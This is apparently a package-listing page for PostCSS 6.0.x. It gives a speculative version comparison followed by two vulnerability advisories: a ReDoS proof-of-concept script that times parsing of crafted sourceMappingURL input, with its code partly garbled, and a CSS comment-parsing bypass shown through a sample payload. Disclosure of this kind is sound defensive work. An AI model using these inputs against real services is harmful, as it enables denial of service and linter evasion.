PostCSS versions 6.0.0 and 6.0.1 are minor iterations of a powerful tool for transforming styles using JavaScript plugins. Both versions share the same core functionality, providing developers with a flexible and extensible platform to manipulate CSS. Key dependencies like chalk, source-map, and supports-color remain consistent, ensuring a stable foundation. Similarly, development dependencies, crucial for building and testing the library itself, are identical, including tools for linting (eslint, gulp-eslint), testing (jest), and code transformation (babel-core, gulp-babel). This consistency indicates that the core development workflow and tooling are unchanged between versions.
The most notable difference is the release date: 6.0.1 was released a day after 6.0.0, suggesting it's likely a patch release addressing minor bugs or issues discovered in the initial 6.0.0 release. For developers, this means that while the feature set remains the same, upgrading to 6.0.1 is recommended to benefit from any quick fixes and stability improvements implemented shortly after the major version release. While the specific nature of these fixes isn't detailed in the metadata, the rapid subsequent release strongly implies their existence. Therefore, when starting a new PostCSS project or maintaining an existing one, opting for version 6.0.1 is a small but prudent choice to ensure a smoother development experience.
All the vulnerabilities related to the version 6.0.1 of the package
Regular Expression Denial of Service in postcss
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
PostCSS line return parsing error
An issue was discovered in PostCSS before 8.4.31. It affects linters using PostCSS to parse external Cascading Style Sheets (CSS). There may be \r
discrepancies, as demonstrated by @font-face{ font:(\r/*);}
in a rule.
This vulnerability affects linters using PostCSS to parse external untrusted CSS. An attacker can prepare CSS in such a way that it will contains parts parsed by PostCSS as a CSS comment. After processing by PostCSS, it will be included in the PostCSS output in CSS nodes (rules, properties) despite being originally included in a comment.